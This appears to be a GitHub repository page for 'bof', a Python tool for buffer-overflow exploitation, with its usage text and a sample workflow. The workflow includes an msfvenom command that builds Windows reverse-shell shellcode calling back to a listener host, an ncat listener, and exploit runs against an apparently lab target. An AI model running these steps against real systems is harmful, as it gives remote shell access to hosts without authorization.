Skip to content

Latest commit

History

9 Commits

Folders and files

NameName
Last commit message
Last commit date

Repository files navigation

bof

Simple tool to detect and exploit buffer overflows.

bof Buffer Overflow exploitation script usage

Usage

usage: bof.py [-h] [-H HOST] [-p PORT] -o OFFSET [-e EIP] [-b BIN] [-s SIZE] [-sf SUFFIX] [-pf PREFIX] [-a ARCH] [-O OS] [-d] [-v]

Exploit buffer overflows.

options:
-h, --help show this help message and exit
-H HOST, --host HOST Target host
-p PORT, --port PORT Target port
-o OFFSET, --offset OFFSET
EIP offset
-e EIP, --eip EIP Value to overwrite EIP with or ROP chain. Ie. 0x01010101,0x02020202,0x03030303
-b BIN, --bin BIN Target binary to extract gadgets from. Only ELF!!
-s SIZE, --size SIZE Payload size
-sf SUFFIX, --suffix SUFFIX
Payload suffix, Ie. \n
-pf PREFIX, --prefix PREFIX
Payload prefix, Ie. USER
-a ARCH, --arch ARCH Target architecture. x86 / amd64
-O OS, --os OS Target OS. windows / linux
-d, --dry Dry run. Print would be paylad.
-v, --debug Show debug information

Create custom shellcode and save to shellcode.py (must be formatted buf = b'\x90\x90\x90\x90...')

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.1.3 LPORT=4444 -f python -a x86 -b "\x00\x09\x0a\x0d\xff" > shellcode.py

Listen for shell

ncat -lvp 4444

Run exploit

./exploit.py -H 10.10.76.237 -p 31337 --sf $'\n' -o 146 -e '0x080414c3'

Run by passing a binary and search for a JPM ESP ROP automatically

./bof.py -H 10.10.76.237 -p 31337 --sf $'\n' -o 146 -b ./vuln

Install

git clone git@github.com:sudoaza/bof.git
cd bof
pip install -r requirements.txt

About

Simple tool to detect and exploit buffer overflows.

Topics

Resources

Stars

5 stars

Watchers

3 watching

Forks

Releases

Packages

Contributors

Languages